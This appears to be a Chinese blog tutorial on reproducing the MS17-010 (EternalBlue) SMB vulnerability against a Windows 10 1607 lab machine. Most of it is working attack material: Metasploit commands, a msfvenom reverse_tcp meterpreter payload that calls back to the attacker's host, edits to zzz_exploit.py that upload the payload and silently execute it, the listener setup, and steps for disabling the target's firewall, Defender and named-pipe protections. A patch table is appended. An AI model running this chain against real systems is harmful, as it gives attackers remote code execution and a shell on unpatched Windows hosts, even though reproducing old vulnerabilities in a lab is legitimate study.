51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

避坑:Win10环境MS17-010漏洞复现过程

0# 概述

MS17-010这个漏洞想必大家都已经很熟悉了吧,这里就不过多赘述(如果不了解的自行百度)

最近,乌鸦安全公众号的 crow 师傅想要在Win10上复现MS17-010(永恒之蓝)的漏洞,为此也在群里面引发了群友的讨论,但是群友们多次尝试都是失败的,于是便找到我

我发现目前互联网上,都没有记录Win10如何完美复现MS17-010的相关文章(有些文章也只是粗略的一笔带过,没有相关错误的解决方法),于是这里就记录一下Win10环境的MS17-010复现过程中碰到的坑点和利用方式吧

MS17-010-title.jpg

1# 正常MSF遇到的问题

有师傅就说:这TM的Kali自带的MSF不能复现吗?我直接MSF一把梭。

好,那我们直接用MSF一把梭看看结果:

msfconsole       //启动MSF
search ms17-010  //搜索MSF相关模块
use 0            //使用exploit/windows/smb/ms17_010_eternalblue模块
show options     //查看模块选项
set RHOSTS <目标靶机IP>  //设置目标主机IP地址
set target 7     //切换Payload至Windows 10 Pro
exploit          //使用模块进行攻击

lf214acm.png

可以看到,MSF的exploit模块能检测到目标机器存在漏洞,但是没办法回弹Session(会话)回来,所以我就开展了一系列的相关研究

是有一些版本的Win10能通过MSF一把梭,但是遇到不能一把梭的问题怎么办?所以本篇文章的意义就在于此

后面研究了一下,是命名管道的相关原因,可以看看先知社区的这篇文章: https://xz.aliyun.com/t/2151

关于Windows命名管道的深入学习,可以看这两篇文章: 1、FreeBuf:windows安全初探之命名管道 2、浅析Windows命名管道Named Pipe

2# 准备工作

  • Win10 镜像(需要版本为1511和1607,其他版本有的也能复现,但是还是有问题)
  • Kali Linux
  • MS17-010(开源项目,但里面的代码需要改)

Windows10 x64 Version 1607(中文简体)下载

文件名:cn_windows_10_multiple_editions_version_1607_updated_jul_2016_x64_dvd_9056935.iso

SHA1:A2DDAA7BE3BB73FD87C29D6EF8E1EDF4C764DCD9

文件大小:4.05GB

发布时间:2016-08-02

下载地址(复制到迅雷等下载工具):
ed2k://|file|cn_windows_10_multiple_editions_version_1607_updated_jul_2016_x64_dvd_9056935.iso|4347183104|35EA5DB0F3BB714F5CE0740FB89D82D1|/

Kali Linux想必大家都有吧,没有请移步这里: https://www.kali.org/downloads/

3# 配置靶机

3.1 关闭防火墙

打开 控制面板->系统和安全->Windows防火墙 ,选择"启用或关闭 Windows 防火墙"

关闭Win防火墙.png

3.2 关闭Windows Defender

打开 Windows Defender->设置 ,关闭相关设置即可

关闭Defender.png

因为本次只是打靶机而已,就仅仅用MSF生成的exe来回弹session,感觉用不上免杀就把Windows Defender关掉

当然免杀过Windows Defender也很简单,这个如果师傅们感兴趣可以后面出一些免杀相关的文章

3.3 更改组策略-1

使用 Win+R 快捷键,输入 gpedit.msc 打开本地组策略编辑器

找到 计算机配置->Windows 设置->安全设置->本地策略->安全选项 这里

打开共享.png

找到 "网络访问:可匿名访问的共享" 并将其改成 \

3.4 更改组策略-2(可选)

感谢 takuya 师傅看到本篇文章后的整理复现,如果以上组策略配置好以后,check.pyzzz_exploit.py 回显以下结果,则是无法找到命名管道的原因:

# python2 checker.py <目标靶机IP>
Target OS: Windows 10 Pro 14393
The target is not patched

=== Testing named pipes ===
spoolss: STATUS_ACCESS_DENIED
samr: STATUS_ACCESS_DENIED
netlogon: STATUS_ACCESS_DENIED
lsarpc: STATUS_ACCESS_DENIED
browser: STATUS_ACCESS_DENIED

# python2 zzz_exploit.py <目标靶机IP>
Target OS: Windows 10 Pro 14393
Not found accessible named pipe
Done

这时候就需要在组策略里面多加一个配置:

设置可匿名访问命名管道.png

即可稳定在Win10靶机上复现本漏洞

4# 攻击靶机过程

为了方便理解,这里我把我的内网地址放一下:

  • Windows10 靶机地址:192.168.123.219
  • Kali Linux地址:192.168.123.147

4.1 使用Poc进行测试

开源项目MS17-010: https://github.com/worawit/MS17-010/

下载开源项目.png

这个开源项目是使用Python写的,并且要用Python2才能跑,首先要安装这两个模块:

pip2 install impacket==0.10.0
pip2 install netaddr

(这里pip2是我自己定义的别名,因为我电脑装了Python2和3两个版本,需要区分开)
正常直接使用pip安装即可

然后直接跑check.py,如下:

python2 checker.py <目标靶机IP>

如果回显 netlogon 状态为 OK ,则Poc测试成功漏洞可以利用

测试Poc.png

4.2 生成回弹session会话的exe

用MSF生成exe,这个想必大家都很熟悉吧:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Kali Linux的IP>  LPORT=4444 -f exe -o 3.exe

中间没有报错就行了(报错一般生成的exe不能用,要么重装MSF要么换一个Kali)

生成exe.png

4.3 使用Exp上线靶机回弹Session

4.3.1 修改Exp脚本

因为是Python,所以Poc和Exp在Kali和Win上面都能跑,所以我这里直接用Win演示

先把4.2用MSF生成的exe拷贝到Exp的同目录下:

拷贝exe.png

然后修改 zzz_exploit.py 文件(实测不修改会利用失败)

搜索 smb_pwn(conn, arch) ,然后找到975行这个函数,将以下几条都注释掉:

print('creating file c:\\pwned.txt on the target')
tid2 = smbConn.connectTree('C$')
fid2 = smbConn.createFile(tid2, '/pwned.txt')
smbConn.closeFile(tid2, fid2)
smbConn.disconnectTree(tid2)

然后在下面添加两行代码:

smb_send_file(smbConn, '3.exe', 'C', '/system.exe') 
service_exec(conn, r'cmd /c c:\\system.exe') 

第一行是上传本地文件 3.exe 到目标靶机的 C:\\system.exe
第二行是执行命令 cmd /c c:\\system.exe ,即静默运行 system.exe

最终修改完毕的函数内容如下:

修改exp.png

4.3.2 Kali监听会话回弹端口

使用Kali开启MSF监听端口:

msfconsole       //启动MSF
use exploit/multi/handler  //使用监听模块
show options     //查看模块选项
set lhost <Kali Linux的IP>  //设置Kali Linux接收会话的IP地址
set lport 4444   //设置Kali Linux接收会话的端口
set payload windows/meterpreter/reverse_tcp     //切换Payload至reverse_tcp
exploit          //使用模块进行监听

kali开启监听.png

4.3.3 运行Exp,成功回弹Session

然后用Python2运行对应脚本即可:

python2 zzz_exploit.py <目标靶机IP> netlogon
python2 zzz_exploit.py <目标靶机IP>

两条都可以试试,一个不行换一个即可

运行Exp脚本.png

然后可以在靶机上看到exe上传并运行成功了

成功上传并执行.png

这个时候,看Kali Linux监听的情况:

回弹会话成功.png

可以看到,Session回弹成功并可以执行相关操作了

附录

MS17-010 各系统及对应的补丁

| 系统 | 对应补丁 | |:--------------------------------------------:|:---------------------------------------:| | Windows Vista | KB4012598 | | Windows Xp | KB4012598 | | Windows Server 2008 | KB4012598 | | Windows 7 | KB4012212、KB4012215 | | Windows Server 2008 R2 | KB4012212、KB4012215 | | Windows 8.1 | KB4012213、KB4012216 | | Windows Server 2012 、 Windows Server 2012 R2 | KB4012213、KB4012214、KB4012216、KB4012217 | | Windows RT 8.1 | KB4012216 | | Windows 10 | KB4012216、KB4013198 | | Windows Server 2016 | KB4013198 |

Windows卸载补丁命令:

wusa /uninstall /kb:<补丁ID>

查看Windows补丁状态:

systeminfo

5# 总结

  • MS17-010是非常古老的一个漏洞,同时也是非常经典的一个操作系统高危漏洞,对于它的深入研究和学习还是具有一定的技术价值的,在复现漏洞的过程中一路上还是会碰到这样那样的问题,但希望这篇文章能帮助一些需要帮助的师傅吧。
  • 也有师傅觉得太老瞧不上这个漏洞,所以我想问几个问题:为啥这么经典的操作系统漏洞,能从Win7时代一直延续到Win10甚至Win12呢?为啥很多实际企业的生产业务没办法真正根治这个漏洞呢?这也是我们学习漏洞所需要探讨和深入的问题,透过现象看本质,是我们网安人学习路上必不可少的一环。
  • 很多时候不要用自己的观念去看待问题,更多的应该用理性的眼光去看待问题。很多时候是我们自己的眼界限制了自己的技术,而不是我们的学习能力限制了自己的技术。
赞(3)
未经允许不得转载:工具盒子 » 避坑:Win10环境MS17-010漏洞复现过程